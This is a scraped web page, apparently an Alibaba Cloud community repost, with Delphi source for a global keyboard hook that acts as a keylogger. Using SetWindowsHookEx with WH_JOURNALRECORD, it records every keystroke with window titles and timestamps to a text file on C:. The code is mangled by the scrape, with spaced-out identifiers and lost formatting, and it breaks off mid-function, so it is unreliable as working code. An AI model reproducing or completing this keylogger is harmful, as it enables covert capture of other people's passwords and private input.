Delphi global keyboard hook (exe)

Source: Internet
Author: User

The Delphi unit stores the keyboard keys in the stack linear queue. You can view the key content on the software interface and save the key information in the text file c: \ logfiles.txt, for later viewing...

Install the global hook function keyloghook: = setwindowshookex (wh_journalrecord, keylogproc, hinstance, 0); uninstall the hook function as unhookwindowshookex (keyloghook );

It seems a problem during use. When the software is started on itself, it will make lingoes unable to start normally, prompting the memory access error or something. Sometimes the hook will become invalid and the keyboard buttons cannot be intercepted, maybe it's better to use DLL...

Unit unthook;

Interfaceuses windows, messages, classes, sysutils, dialogs, variants; const _ keypressmask = $80000000; enter = #13 #10; var keyloghook: hhook = 0; hlastfocus: hwnd = 0; prvchar: Char; hooklist: tstringlist; hookkey: string; hnexthookproc: hhook; // logtxt: textfile; sfilename: String = 'C: \ logfile.txt '; function keylogproc (ncode: integer; wparam, lparam: longint): lresult; stdcall; export; function enablehotkeyhook: bool; stdcall; export; implementationuses untmain; function keylogproc (ncode: integer; wparam, lparam: longint ): lresult; stdcall; {const sfilename = 'C: \ logfile.txt ';} var stream: textfile; Ch: Char; vkey: integer; hfocus: hwnd; Title: array [0 .. 255] of char; STR: array [0 .. 12] of char; stmp, stime: string; tflogfile: textfile; pevt: ^ eventmsg; ncapital, nnumlock, nshift: integer; isshift, iscapital, isnumlock: Boolean; begin sfilename: = frmmain. editlogpositon. text; // assignfile (logtxt, trim (frmmain. editlogpositon. text); If ncode <0 then begin result: = callnexthookex (keyloghook, ncode, wparam, lparam); exit; end; If (ncode = hc_action) then begin pevt: = pointer (DWORD (lparam); assignfile (stream, sfilename); if not fileexists (sfilename) Then rewrite (Stream) else append (Stream); hfocus: = getactivewindow; if hlastfocus <> hfocus then begin if hookkey <> ''then begin hooklist. add (hookkey); // append (logtxt); writeln (stream, hookkey); hookkey: = ''; end; hooklist. add ('------ end ------'); writeln (stream, '------------ end -----------'); hooklist. add ('------ begin ------'); writeln (stream, '------------ start -----------'); // close (logtxt); getwindowtext (hfocus, title, 256); hlastfocus: = hfocus; stime: = datetimetostr (now); hooklist. add (stime + format ('title: % s', [title]); writeln (stream, stime + format ('title: % s', [title]); end; If pevt. message = wm_keydown then begin vkey: = lobyte (pevt. paraml); nshift: = getkeystate ($10); ncapital: = getkeystate ($14); nnumlock: = getkeystate ($90); isshift: = (nshift and _ keypressmask) = _ keypressmask); iscapital: = (ncapital and 1) = 1); isnumlock: = (nnumlock and 1) = 1); If (vkey> = 48) and (vkey <= 57) then begin CH: = char (vkey); End

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.